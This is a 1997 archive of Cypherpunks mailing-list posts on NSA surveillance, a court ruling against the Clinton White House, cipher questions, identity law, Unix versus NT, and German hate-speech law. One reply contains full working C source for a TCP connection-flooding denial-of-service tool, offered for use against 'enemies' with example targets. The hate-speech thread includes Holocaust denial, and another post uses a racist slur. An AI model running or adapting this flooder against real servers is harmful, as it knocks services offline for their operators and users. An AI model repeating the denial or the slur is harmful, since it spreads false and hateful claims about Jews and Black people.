>interest in commercial espionage. In the Fifties. during the development
>of the 'special relationship'. between America and Britain, one US insti-
>tution was singled out for special attention.
>
>The NSA, the world's biggest and most powerful signals intelligence organ-
>isation. received approval to set up a network of spy stations throughout
>Britain. "Their role was to provide military, diplomatic and economic
>intelligelince by intercepting communications from throughout the Northern
>Hemisphere.
>
>The NSA is one of the shadowiest of the shadowy US intelligence agencies.
>Until a few years ago, it existence was a secret and its charter and any
>mention of its duties are still classified. However, it does have a Web
>site (www.nsa.gov:8080) in which it describes itself as being responsible
>for the signals intelligence and communications security activities of
>the US government.
>
>One of its bases, Menwith Hill, was to become the biggest spy station in
>the world. Its ears - known as radomes - are capable of listening in to
>vast chunks of the communications spectrum throughout Europe and the old
>Soviet Union.
>
>In its first decade the base sucked data from cables and microwave links
>running through a nearby Post Office Tower, but the communications revolu-
>tions of the Seventies and Eighties gave the base a capability that even
>its architects could scarcely have been able to imagine. With the creation
>of Intelsat and digital telecomnunications, Menwith and other stations
>developed the capability to eavesdrop on an extensive scale on fax, telex
>and voice messages. Then. with the development of the Internet, electronic
>mail and electronic commerce, the listening posts were able to increase
>their monitoring capability to eavesdrop on an unprecedented spectrum (of
>personal and business communications.
>
>This activitv has been all but ignored by Parliament. When Labour MEPS
>raised questions about the activities of the NSA. the Government invoked
>secrecy rules. It has been the same for for 40 Years.
>
>Glyn Ford hopes his report may be the first step in a long road to more
>openness. "Some democratically elected body should surely have a right to
>know at some level. At the monment that's nowhere.
     


**********************************************
To subscribe or unsubscribe, email:
     majordomo at majordomo.pobox.com
with the message:
     subscribe ignition-point email at address
or
     unsubscribe ignition-point email at address
**********************************************
http://www.telepath.com/believer
**********************************************

------- End of Forwarded Message






From vznuri at netcom.com  Fri Dec 19 14:21:10 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sat, 20 Dec 1997 06:21:10 +0800
Subject: clinton slapped by judge
Message-ID: <199712192216.OAA05945@netcom19.netcom.com>



a rare challenge to clinton's executive power & lies by the judicial
branch. see the book "secret life of bill clinton" by ambrose
evans pritchard for more excellent info about the true state of
our union.

------- Forwarded Message

Date: Fri, 19 Dec 1997 11:40:40
To: believer at telepath.com
From: believer at telepath.com
Subject: IP: White House to Pay for Cover-Up

>From the Washington Times:

White House to pay for health care lies

By Paul Bedard
THE WASHINGTON TIMES

The White House and lawyers defending first lady Hillary
Rodham Clinton lied in an effort to keep internal working
papers used to develop President Clinton's universal health
care plan in 1993 secret, a federal judge said Thursday.

   Using blunt language in a written order, U.S. District Judge
Royce C. Lamberth also accused administration officials at "the
highest levels of government" of engaging in a "cover-up" and
pressuring the Justice Department to defend its "dishonest"
actions.

   "It is clear that the decisions here were made at the highest
levels of government and the government itself is -- and should
be --accountable when its officials run amok," Judge Lamberth
wrote.

   "It seems that some government officials never learn that the
cover-up can be worse than the underlying conduct," he
added, ordering the government to pay legal fees of $285,864
to the doctors trade group that sued the White House in
February 1993 to open up the first lady's health care planning
meetings to the public.

   The White House has said taxpayers will pay the bill. "We
don't have any comment," White House spokesman Barry Toiv
said Thursday.

   Justice Department spokesman Bert Brandenburg said,
"The government has consistently maintained 
that sanctions are not appropriate.

   "We disagree with Judge Lamberth's conclusion but we
take his opinion seriously. We are reviewing the decision and
considering what action is appropriate," Mr. Brandenburg said.

   "We're pleased at this point to have any reimbursement, but
the money was never the issue," said Kathryn Serkes,
spokeswoman for the Association of American Physicians and
Surgeons, the group that brought the initial suit against Mrs.
Clinton and her health care task force.

   "What's important are the conclusions that the judge
reached. Without using the president or first lady's name, he
points a finger squarely at them," she said.

   The doctors group filed suit to open up closed meetings of
Mrs. Clinton's Health Care Task Force. They maintained the
first lady was violating the Federal Advisory Committee Act,
which requires that any federal advisory panel that includes a
nongovernment worker must always meet in the open.

   The association said Mrs. Clinton was not an employee of
the government, but an appeals court determined that Mrs.
Clinton was a de facto federal employee and thus allowed her
group to meet privately.

   The doctors group then tried to open up secret meetings of
Mrs. Clinton's larger "working group," which numbered
between 600 and 1,000, but Judge Lamberth temporarily
blocked that plan when Clinton health care adviser Ira
Magaziner said the panel included "only federal government
employees."

   But Mr. Magaziner's March 3, 1993, statement was
"actually false," said the judge, who expressed anger that the
White House and Justice Department never moved to correct
the fabrication.

   Judge Lamberth relied upon Mr. Magaziner's statement in
refusing to open up the working group's meetings as required
by the law. In fact, the group included hundreds of
nongovernmental members and representatives of
special-interest groups who would have profited if the Clintons'
universal health care proposal was approved. The proposal
never came to a vote in Congress.

   The legal effort to open the meetings was eventually
rendered moot after the White House turned over the working
group's internal documents.

   In addition to revealing the special interests involved in
drawing up the Clinton plan, the documents released over time
by the White House showed that private-sector members of
the group were still trying to complete ethics and
conflict-of-interest forms long after their employment had
begun.

   In his decision Thursday, the judge gave the doctors group
credit for giving the public a window on the development of the
administration's massive health care bill.

   "All of these working group documents would be safely
tucked away in the National Archives had it not been for this
litigation. It is only because of this litigation that they are now
available for inspection by the public," he wrote.

   Judge Lamberth subsequently sought a perjury investigation
of Mr. Magaziner, but the Justice Department said it wouldn't
prosecute the White House aide who oversaw the drafting of
the 1,400-page national health bill. He is currently Mr.
Clinton's top adviser on policies dealing with the Internet.

   In Thursday's action, Judge Lamberth said that Mr.
Magaziner's misleading statements in March 1993 were part of
a cover-up organized by the first lady's attorneys, including
Deputy White House Counsel Vincent W. Foster Jr., who died
four months later in an apparent suicide, and Associate
Attorney General Webster L. Hubbell.

   In his just-published book, Mr. Hubbell writes that Mr.
Foster committed suicide in part because of the pressure Mrs.
Clinton put on him to defend her in the case. Mr. Hubbell
himself would later resign his post under pressure and plead
guilty to stealing from the Little Rock law firm where he, the
first lady and Mr. Foster all once worked.

   "It is clear that Mr. Magaziner relied upon the advice of
White House attorneys -- including Vincent Foster ... and
Associate Attorney General Webster Hubbell," said the judge.

   The judge said the "most outrageous conduct by the
government" in the case was the administration's failure to
correct Mr. Magaziner's misstatement. "That was a
determination not made individually by Mr. Magaziner, but by
the government through its counsel," he said.

   "There were no rogue lawyers here misleading this court. ...
The executive branch of the government, working in tandem,
was dishonest with this court and the government must now
face the consequences of its misconduct."

   He also expressed shock that the Justice Department
"succumbed to pressure from White House attorneys" to use
false excuses and "strained interpretations" to defend the
actions of Mr. Magaziner.

   "Acting dishonestly, as the government did in this case, is ...
acting in bad faith," he said.

Copyright � 1997 News World Communications, Inc.
     


**********************************************
To subscribe or unsubscribe, email:
     majordomo at majordomo.pobox.com
with the message:
     subscribe ignition-point email at address
or
     unsubscribe ignition-point email at address
**********************************************
http://www.telepath.com/believer
**********************************************

------- End of Forwarded Message






From mix at anon.lcs.mit.edu  Fri Dec 19 16:05:01 1997
From: mix at anon.lcs.mit.edu (lcs Mixmaster Remailer)
Date: Sat, 20 Dec 1997 08:05:01 +0800
Subject: Algos
Message-ID: <19971220000002.29625.qmail@nym.alias.net>



Can someone post a short review of Blowfish, CAST, and IDEA? In particular
I'm interested in relative strength, resistance against known plaintext
attacks, resistance to brute force attacks, key size, relative complexity of
the algorithms, and relative computational time required for encryption and
decryption.

Pointers to prewritten documents welcomed.






From tcmay at got.net  Fri Dec 19 16:06:35 1997
From: tcmay at got.net (Tim May)
Date: Sat, 20 Dec 1997 08:06:35 +0800
Subject: Automatic Translations
Message-ID: 

A non-text attachment was scrubbed...
Name: not available
Type: text/enriched
Size: 6428 bytes
Desc: not available
URL: 

From anon at anon.efga.org  Fri Dec 19 16:27:48 1997
From: anon at anon.efga.org (Anonymous)
Date: Sat, 20 Dec 1997 08:27:48 +0800
Subject: MISTY is patented International Patent
Message-ID: 



>MISTY is patented International Patent PCT/JP96/02154 by MITUBISHI Inc.
>A license is needed to "make, use or sell".

Who gives a flying fuck, chop-chop lameass?






From whgiii at invweb.net  Fri Dec 19 16:50:47 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Sat, 20 Dec 1997 08:50:47 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: <199712200044.TAA05482@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 12/19/97 
   at 02:38 PM, Colin Rafferty  said:


>Tim May writes:

>> California is starting to unwind some of these unconstitutional (in the
>> "original" sense) rules. Quotas have ended, welfare is ending, etc. Maybe
>> some day we'll see freedom of association returned.

>That will be great, because then I won't have to share a lunch counter
>with those Niggers anymore.

Yep and they woun't have to share it with you either. It's all part of
what living in a *free* society is all about.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJsUtY9Co1n+aLhhAQJGKAP8CCJgeDX7uiGDS/GurHVm3GXw6orVnrLe
uf2VStIHWeMRMFuZtgQr//PH8rhvsOb2hGp5jjxNtDYkv7wobOh/uiKDBGeH/eAY
MyKoBhM7zSqoAmG8GAHVsRqrsAVqAmO9YANbC2XmoAO7+LkoXsnzgDz8CvR07Sg2
+EpsvsDlLAg=
=NS+d
-----END PGP SIGNATURE-----






From bill.stewart at pobox.com  Fri Dec 19 16:51:57 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 20 Dec 1997 08:51:57 +0800
Subject: Identity, Persistence, Anonymity, and Accountability--Part  I of II
In-Reply-To: <199712160446.XAA29704@mx02.together.net>
Message-ID: <3.0.3.32.19971219164247.00709984@popd.ix.netcom.com>



[Tim posted his article on identity, etc. to cypherpunks and nym;
the discussion I'm replying to is primarily on cypherpunks.]

>> There's an important distinction between 
>> a requirement that you identify yourself accurately, and 
>> a requirement that you carry a particular form of identification. 

A third category of requirement is displaying the particular form of 
identification if you're carrying it - for instance, if you're driving,
and carrying a driver's license, you're obligated to display it,
but if you're walking or a passenger, you're not generally required to,
but some states (in particular California) require that 
if you're carrying a driver's license you're obligated to show it to 
any cop who asks.  I don't know if the requirements include 
handing it over or just displaying.

>> It is constitutional for the police to ask you what your name is, 
>> under certain circumstances -
>> and you can face criminal charges if you lie.

But lying and refusing to cooperate are different; 
"You can call me John Doe if you'd like" is not a lie, 
and Supreme Court cases like Brown vs. Texas have determined that you 
don't have to tell the police who you are even if they're booking you.
On the other hand, the Supremes let police hold you for up to 48 hours
for no particularly good reason (they have a more formal definition 
than that :-) so exercising your rights may have a cost.

Tim brings up the issue of identity papers for jury duty -
even if you feel like confusing the poor court bureaucrats
by not bringing the PhotoID with SSN, Thumbprint, and DNA sample,
there's probably a requirement to bring the jury duty summons.
(Depending on your motives, your FIJA membership card is a good backup
ID, or your ACLU card if you've got one - don't leave home without it.)



				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From tcmay at got.net  Fri Dec 19 17:31:38 1997
From: tcmay at got.net (Tim May)
Date: Sat, 20 Dec 1997 09:31:38 +0800
Subject: Identity, Persistence, Anonymity, and Accountability--Part   I of II
In-Reply-To: <199712160446.XAA29704@mx02.together.net>
Message-ID: 



At 5:42 PM -0700 12/19/97, Bill Stewart wrote:

>Tim brings up the issue of identity papers for jury duty -
>even if you feel like confusing the poor court bureaucrats
>by not bringing the PhotoID with SSN, Thumbprint, and DNA sample,
>there's probably a requirement to bring the jury duty summons.
>(Depending on your motives, your FIJA membership card is a good backup
>ID, or your ACLU card if you've got one - don't leave home without it.)

I'd guess that either an FIJA or ACLU card is a pretty good "Get Out of
Jury Duty" card, if the jury consultants (if any) learn about it.

(In small, local cases, they won't. Other means of evading that $5 a day
wonderjob are advised.)

On a loosely related note, I've wondered about the constitutionality of
some of the exhaustive "jury questionairres" which potential jurors in
famous cases are expected to spend several hours carefully filling out.
>From what I've heard of some of the questions used in the OJ trials, the
questions seem incredibly invasive and personal.

And the questionairres are hardly kept confidential enough (not that I
would trust the court not to forward to the local justice officials some of
the _honest_ answers I would be tempted to provide). In several high
profile cases (OJ, McVeigh, Menendez, Wm. Kennedy Smith, etc.), it was
possible to deduce that "Juror #7" was the one who said she was a
drug-experimenting lesbian single mother of three who has religious
objections to the death penalty and whose father raped her.  And "Juror
#19" is the recovering alcoholic who wets the bed and can't keep a job. The
reporters were able to put the clues together easily enough. (And of course
those who are in the courtroom can (usually) see the jurors and their
numbers and deduce who is who.)

I can't understand how a person can be compelled to answer questions about
their personal views on abortion, on the death penalty, on blowing up
Federal buildings, and so on. Seems to me one ought to be able to take the
Fifth, or to say, "That's my private view."

(Their claim will probably be that since one is not facing prosecution,
taking the Fifth is not allowed.  This is the logic used to compell
testimony, even if it is later useful in a prosecution, criminal or civil,
of the witness.)

I last served on a jury in 1973.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From bill.stewart at pobox.com  Fri Dec 19 17:53:39 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 20 Dec 1997 09:53:39 +0800
Subject: Is Unix dying--or even dead?
In-Reply-To: <199712190745.JAA17166@ankara.duzen.com.tr>
Message-ID: <3.0.3.32.19971219174923.00734230@popd.ix.netcom.com>



At 12:08 PM 12/19/1997 GMT, phelix at vallnet.com wrote:
>>Silicon Graphics Inc.'s plan .... Windows NT 

>Does this mean that Unix is dying?
>No, it means that graphics professionals are buying Wintel boxes 
>instead of SGI's expensive workstations. ( a shame really,
> SGI make some damn nice workstations, but that 
>pesky price/performance ratio is pushing people into
>high end Wintel boxes)

It's not just price/performance ratio - 
it's affordable price for adequate performance.
Now that Wintel boxes can crunch integers as well as a Cray-1,
a $2K box has enough horsepower for all but really cutting-edge graphics,
and you're going to buy the same monitor regardless of CPU.
Sure, a $10K SGI probably has far more than 5x the performance,
but not many people need it, especially if they're developing 
applications for other people to use on cheaper boxes (games...)
as opposed to producing TV shows, music videos, or running
scientific visualization.

That's been a problem for the accounting and office-work for years
- while Microsoft can bloat away any CPU you've got,
an 8086 or 286 box could run spreadsheets, simple chart graphics,
WordStar, a database, BASIC, and Flight Simulator as fast as a PDP-11
for a lot less money, letting the business bootstrap itself
in spite of the ugly excuse for a program loader MS sold for it,
because any developer could afford the $5K (1982) or $2K (1997) box
it takes to develop cool commercially viable applications
(and, yes, you can use a $500 box today, but you wouldn't.)

My 1983 VAX 11/780 cost $400K for a machine with enough horsepower
to support 40-60 users ( A MILLION instructions/sec!  4MB RAM, 
1 GB of removable disk, 2 6250bpi tape drives, and a big line printer.)
You might get by spending $250K to support 40 users, including VT100s,
but that's still as much money per seat as a fancy PC, for a
faster but non-graphical environment.  MSDOS was blazingly stupid
and harder to use than Unix, but running on a PC instead of a terminal
makes some things much easier.

If you must run MSware, NT is at least an operating system.
And it's easier to get graphics board manufacturers to write
their drivers for Windows than Linux.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From sallis327 at juno.com  Sat Dec 20 11:12:36 1997
From: sallis327 at juno.com (sallis327 at juno.com)
Date: Sat, 20 Dec 1997 11:12:36 -0800 (PST)
Subject: Guide to Federal Government Sales (start 1998 off right)!!
Message-ID: <178456983520.RTR75489@tranton.cc.jp>


Guide to Federal Government Sales:

How to buy land, houses, cars and other items from 18 federal sales programs, including seized and unclaimed property!!!!

ONLY $7.95!

* THIS INFORMATION HAS BEEN COMPILED BY THE UNITED STATES FEDERAL GOVERNMENT *

* COMES WITH A 30 DAY FULL MONEY BACK GUARANTEE!!!! *

HOW TO ORDER:

MAKE CHECK OR MONEY ORDER PAYABLE TO:
INFO PLEASE
PO Box 182
Post Falls, ID 83854-0182

ONLY $7.95! 
Include $1.60 for shipping and handling (total = $9.55)

>>>Be sure to enclose your delivery address.
      (We will ship your order AS SOON AS we recieve payment.)

























From aryan at nym.alias.net  Fri Dec 19 19:26:00 1997
From: aryan at nym.alias.net (Aryan)
Date: Sat, 20 Dec 1997 11:26:00 +0800
Subject: Hate speech in America
Message-ID: <19971220032142.2958.qmail@nym.alias.net>



"Robert A. Costner" 
>>I am a German patriot who wants to
>>publish my ideas without of fear of the German goverment.
>>But my concern is
>>that the U. S. ISP I use can hand over my subscriber infoation and logs to
>the
>>German goverment.
>>Does anyone know a U. S. ISP who does not censor hate speech
>>and who has a _known_ strong privacy policy?
>>By the way, is hate speech
>>protected in United States?
>
>Hate speech is constitutionally protected in the US.  That doesn't mean you
>can do it from any particular ISP or in someone's living room.  You seem to
>have found protected email, you should therefore know who to post to
>usenet.  There are dozens of places you can get free web sites from, though
>I don't know about their hate speech policies.

I know Geocities, Tripod, Angelfire and few others who provide free
web hosting.
All these ISPs have policies prohibiting political and sexually
explicitly speech on the
ground of its content.
That's obviously not a First Amendment issue involved.
>I'd be curious to know of Geocities, Tripod, et all - where they have
>kicked people off or not for hate speech.

Yes. They have done so.

Geocities  is very censorious even regarding politically correct
speech such as gay advoccy and Tripod has kickeda homosexual
site of for violation of a clause in the agreement concerning
"adult" content.
I am searching for a commercial ISP who will not censor
political speech and who will respect one's privacy.
I am not a nazi sympathizer, but I don't believe in the
holocaust and want to say it loud.
In Germany and in other countries where the Jews have succeeded
in creating "hate laws"
you can get four years in jail for refusing to
believe in the holocaust.
I would like to set up a homepage with some "illegal" [within
Germany only] content that would not be shut down by the German 
goverment.
I am working on a book exposing the holocaust story that would
*surely* be banned in my own "democratic" country.
The  unfortunate not-so-well-known fact about Germany is that we
do not have freedom of speech.
I often wonder why  Amnesty International did not protest the
imprisonment of Gary Lauck who was denied basic due process and
human rights, including freedom of speech and association, by a
kangoro court.

[This message is cross-posted to de.soc.zensur and de.soc.politik
to upset my dictatorial goverment].






From pethern at inet.uni-c.dk  Fri Dec 19 20:52:02 1997
From: pethern at inet.uni-c.dk (Peter Herngaard)
Date: Sat, 20 Dec 1997 12:52:02 +0800
Subject: Hate speech in Germany...
In-Reply-To: <199712061913.UAA21991@basement.replay.com>
Message-ID: <199712200441.FAA22257@inet.uni2.dk>




I apologize for not answering this in due time, 
but I was only subscribed to fight-censorship and not to Cypherpunks. 

nobody at replay.com (Anonymous) wrote: 
>Peter Herngaard wrote:
>>Mr. Frissell asserts that Germany lacks rights such as freedom of
>>speech and association.  This is not true.  The German Basic Law
>>provides for everyone the right to freedom of speech, religion and
>>association.  However, Germany prohibits hate speech i.e. National
>>Socialism and incitement to racial, religious and national hatred.
>
>I believe this is exactly what Mr. Frissell had in mind.
>
>Incidentally, I heard that last year there were a series of raids on
>bookstores for "hate" literature.  One of the books seized was Art
>Spiegelman's "Maus".  The justification was that it glorified
>violence.  (Feel free to correct me if this is baseless rumor. ;-)

No. It is entirely correct as far I know.
As I have pointed out before, the present state of freedom of
expression in Germany is lower than in Denmark. 
After the World War I believe that the rrohibition of racist
speech and nazism was necessary as a step further in the
denanification.
But this is no justification anymore.
Is should not suprise anyone that the laws have also been used
against left-wing organizations and publications such as Radikal
and The Kurdish Worker's Party. 
The Compuserve incident was allegedly about "child pornography"
and nazi propaganda but only gay related newsgroups was removed.


>>>Reply to Duncan Frissell:
>>>If the German people desired to abolish the Radikalenerlass they
>>>could do so simply by changing their goverment precisely as
>>>U.S. citizens could abolish use of capital punishment against
>>>minors.  Is there any difference?
>>
>>There is a difference, in that calling for the abolition of laws
>>banning 'hate speech' can easily be labelled as 'hate speech' in
>>themselves.
>>
>>I think it's true for banana republics.  However, as far I know
>>itsn't illegal in Germany to call for the abolition of all hate laws.
>>But calling for the abolition of human rights is certainly against
>>the law.
>
>!!! It sounds as if in Germany one may not discuss even the most basic
>political philosophy without violating the law.
>
>I'm not sure what is meant by "calling for the abolition of human
>rights".  What would be some examples of things somebody could say and
>what would be the penalties?  (Presuming you are allowed to give
>examples, that is.)

If an organization  advocates the use of violence or promotes ideas 
contrary to the Constitution that's ground for denial of tax
execption and later prohibition by a court. 
Advocating that all Jews should be expelled would certainly be
considered unconstitutional and a criminal offence. 
The difference from Germany to the United States is the
difference in the constitutional provissions. 
The German Basic Law expressly proscribes limitations to speech
and association rights while the First Amendment restraint on
goverment interference is written in absolute terms.
I know of course that the First Amendment is not interpreted literally by
the Supreme Court i.e. Chaplinsky v. New Hampshire, Miller v.
California, Roth v. United States, Paificca Foundation v. FCC. 
But the  U.S. Supreme Court seems to require any law affecting
political speech preserves a content neutrality meaning that
seditious libel (Brandenburg v. Ohio 1969) and hate speech (RAV v.
City of St Paul of Minnesota 1992) is protected against
punishment by the goverment. 
This doctrine is unfortunately unknown in Europe and Canada where the
tradition of consensus
democracy always guaranteed liberty for majoritarian views.
Even with the rattification of The European Convention of the
Protection of Human Rights freedom of speech guaranteed within
Article 19 was expressly limited to preserve public morals,
public health, national security etc. 
Someone may correct me if I am wrong in the understanding that
the First Amendment does not allow the enactment of any statute
proscribing breach of public morals as an offence except
obscenity. 
The European Court of Human Rights has upheld most conviction
concerning public morals such as blasphemous libel and hate
speech.
It should also be noted when we discuss Germany and hate speech
than the international, European and Canadian, classification of
hate speech is different from yours.

For instance, The United Nations International Convention on
Civil and Political Rights Article 20 not only allow punishment
of hate speech but even compell the signatories to prohibit
racist speech by law.
Germany and Denmark can rely on the "international community"
justifying criminalization of hate speech and even membership in
organizations that "discriminates" on the ground of race and
religion. 

I like your First Amendment more than the European and Canadian
approoach. 

My intention was not to justify the German criminalization of
speech but merely to explain the reason for the law as I see it,
a law I do not support.

>>In addition, we do not prohibit pornography, and obscenity is a
>>non-existent legal category.
>
>Another good point.  Many in the U.S. have become so accustomed to
>these speech restrictions that it seems normal.

Yes. 
Banning a film with redeeming social and artificial value is to
me an obscene act-)

In this matter, Denmark and Netherland is _more_ liberal than
the U. S.
That would not happen in Denmark or Sweden.
Denmark is not the worst censor of hate speech in Europe.
In fact, the United Nations criticizes us every year for
allowing the Danish National Socialist Movement (the Danish
equivalent to the losers in The National Alliance).

However, we still have several restriction on freedom of speech
such as an obscure statute  dealing with
"Insult to the Majesty" and another dealing with blasphemy. 
Our libel laws are also very burdensome.
The police can sue you for libel hurling you in court to prove
your statement even when not directed at a named police officer.
Prof of truth is not necessarily a defence.
It is often enough to prove that the statement was likely to
damage the reputation of the plaintiff.
With my non-lawyer experience the defendant often have to prove
that the statement is true and made in the public interest.
There is no defence requiring a public figure to prove actual
malice and reckless disregard for truth.
In recent moths, an individual who criticized the police as an
institution was convicted for making a statement in a newspaper
likely to undermine the police's reputation in the eyes of the
public.
This sounds very much like a seditious libel offence in
particular when the statement is directed at a state institution.






From ichudov at Algebra.COM  Fri Dec 19 20:52:09 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 20 Dec 1997 12:52:09 +0800
Subject: Hate speech in America
In-Reply-To: <19971220032142.2958.qmail@nym.alias.net>
Message-ID: <199712200446.WAA11099@manifold.algebra.com>



Aryan wrote:
> In Germany and in other countries where the Jews have succeeded
> in creating "hate laws" you can get four years in jail for refusing to
> believe in the holocaust.

> I would like to set up a homepage with some "illegal" [within
> Germany only] content that would not be shut down by the German 
> goverment.

Talk to Sanford Wallace, sales at cyberpromo.com. (or is that domain dead?)

The problem with hate speech is that there is a great number of people
who would individually attempt to shut down your pages. Even if your
ISP does not censor you, they will mailbomb, SYN bomb, ping flood, etc
your server, or even hack your provider.

It may be bad enough for your provider to get tired and kick you out.

A while ago I wrote a simple program that floods servers with TCP open
requests (see below). I have heard that some folks are now writing
improved versions of this program. It runs on linux and should run on
most unix boxes.

	- Igor.


/***************************************************************************/
/*                                                                         */
/*                \=/,         _-===-_-====-_-===-_-==========-_-====-_    */
/*                |  @___oo   (          Denial Of Service             )_  */
/*      /\  /\   / (___,,,}_--=    Opens Many Dangling TCP Connections   ) */
/*     ) /^\) ^\/ _)        =__        to swamp TCP servers of your     )  */
/*     )   /^\/   _)          (_              enemies.                  )  */
/*     )   _ /  / _)            (                                        ) */
/* /\  )/\/ ||  | )_)            (_        Educational Use Only!        )  */
/*<  >      |(,,) )__)             (  Ignoramus_Chewed-Off at algebra.com   ) */
/* ||      /    \)___)\             (_            1997                 __) */
/* | \____(      )___) )___           -==-_____-=====-_____-=====-___==    */
/*  \______(_______;;; __;;;                                               */
/*                                                                         */
/***************************************************************************/



const char * Usage = 
"Error: %s\n"
"USAGE: %s (block|grind) hostname service# #connections\n"
"\n"
"This program opens #connections connections to the specified host.\n"
"It can be used to deny services, slow down and crash Internet servers.\n"
"\n"
"If #connections is set to 0, it opens as many connections as it can\n"
"and continues trying to do so as long as it runs. Use Control-C to \n"
"interrupt it. NOTE that depending on your OS, it may hurt you too.\n"
"\n"
"If #connections is not 0, this program only opens #connections of them.\n"
"After that, if the first argument is 'block', it simply sleeps. If the\n"
"first argument is 'grind', it starts opening and closing connections\n"
"in a round robin manner every second.\n"
"\n"
"This program is for EDUCATIONAL USE ONLY. Please do not use it for\n"
"anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n"
"\n"
"USE EXAMPLE: \n"
"	%s grind victim.com 80 1000\n"
"-- opens 1000 HTTP connections to victim.com and waits\n"
"	%s block www.agis.net 80 0\n"
"-- constantly attempts to open HTTP connections to www.agis.net\n"
;

#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define USAGE( msg ) 	\
   fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \
   exit( 1 )

/* after I open this many additional connections (for n_connections == 0),
   I wait for 1 second, just in case 
*/

#define MAX_CONN 50

typedef enum { CON_BLOCK, CON_GRIND } ConMode;

/* create a client socket connected to PORT on HOSTNAME */
int create_client_socket(char ** hostname, int port)
{
    struct sockaddr_in sa ;
    struct hostent *hp ;
    int a, s ;
    long addr ;


    bzero(&sa, sizeof(sa)) ;
    if ((addr = inet_addr(*hostname)) != -1) {
        /* is Internet addr in octet notation */
        bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */
        sa.sin_family = AF_INET ;
    } else {
        /* do we know the host's address? */
        if ((hp = gethostbyname(*hostname)) == NULL) {
            return -2 ;
        }
        *hostname = hp->h_name ;
        bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ;
        sa.sin_family = hp->h_addrtype ;
    }

    sa.sin_port = htons((u_short) port) ;

    if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */
        return -1 ;
    }
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {  /* connect */
        close(s) ;
        return -1 ;
    }
    return s ;
}

int main( int argc, char *argv[] ) 
{
  char * name;
  int port, n_connections;
  int s;
  ConMode mode; 


  if( argc != 5
      || (argc >= 1 && (!strcmp( argv[1], "--help" ) 
                        || !strcmp( argv[1], "-help" ))))
    {
      USAGE( "Wrong Number of Arguments" );
    }

  if( !strcmp( argv[1], "block" ) )
    {
      mode = CON_BLOCK; 
    }
  else if( !strcmp( argv[1], "grind" ) )
    {
      mode = CON_GRIND;
    }
  else
    {
      USAGE( "First argument must be 'block' or 'grind'" );
    }

  name = argv[2];

  if( (port = atoi( argv[3] ) ) == 0 )
    {
      USAGE( "Port Number must be numeric" );
    }

  if( !isdigit( argv[4][0] ) )
    {
      USAGE( "Port Number must be numeric" );;
    }

  n_connections = atoi( argv[4] );

  if( n_connections == 0 ) /* infinite loop */
    {
      int i = 0;
      printf( "ATTENTION: This may damage even your "
               "computer. Press ^C to abort\n" );

      while( 1 )
        {
          if( create_client_socket( &name, port ) == -1 )
            {
              printf( "Connection refused; sleeping.\n" );
              sleep( 1 );
            }
          else
            {
              if( (i++ % MAX_CONN) == (MAX_CONN-1) )
                {
                  printf( "You can interrupt me here. I have %d "
                          "connections open. \nContinuing...\n", i );
                  sleep( 1 );
                }
            }
        }
    }
  else
    {
      int * fds = (int *)calloc( n_connections, sizeof( int ) );
      int i = 0;

      if( fds == 0 )
        USAGE( "Memory Allocation Error" ); 

      while( 1 ) /* in a loop, keep opening descriptors */
        {
          if( fds[i] != 0 )
            {
              printf( "Closing %d...\n", i );
              close( fds[i] );
            }

          while( 1 ) /* try to open the new one */
            {
              if( (fds[i] = create_client_socket( &name, port )) == -1 )
                {
                  printf( "Connection refused; sleeping.\n" );
                  sleep( 1 );
                }
              else
                {
                  printf( "Opened %d.\n", i );
                  break;
                }
            }

          i++;

          if( i == n_connections ) /* we've gone full circle */
            {
              printf( "Done with %d connections\n", i );

              if( mode == CON_BLOCK )
                {
                  printf( "I am going to sleep forever...\n", i );
                  while( 1 ) 
                    sleep(1);
                }
              else /* repeating the loop */
                i = 0;
              sleep( 1 );
            }
        }
    }
}






From nobody at REPLAY.COM  Fri Dec 19 22:27:14 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 20 Dec 1997 14:27:14 +0800
Subject: Hate speech and censorship
Message-ID: <199712200621.HAA13824@basement.replay.com>





I can warmly recommend Cyberpass.
Cyberpass does not censor political
speech. 
They provide anonymous accounts to a considerable low price. The
connection is telnet with a UNIX shell and SSH support. Cyberpass is a
division of Infonex InterNet Services. They have a policy "Go and get a court
order" which is very unusual. 
They already host  the OSTARA domain
www.ostara.org containing stupid nazi propaganda.
Others I could mention are
Concentric Network Corporation and Panix - Public Network Corporation and
Webcom.
http://www.cyberpass.net 
http://www.cris.com http://www.concentric.net
http://www.webcom.com.
I am sure there are others who do not censor.
But these are those I trust most.
Most ISPs are more concerned about pornography than
hate speech.







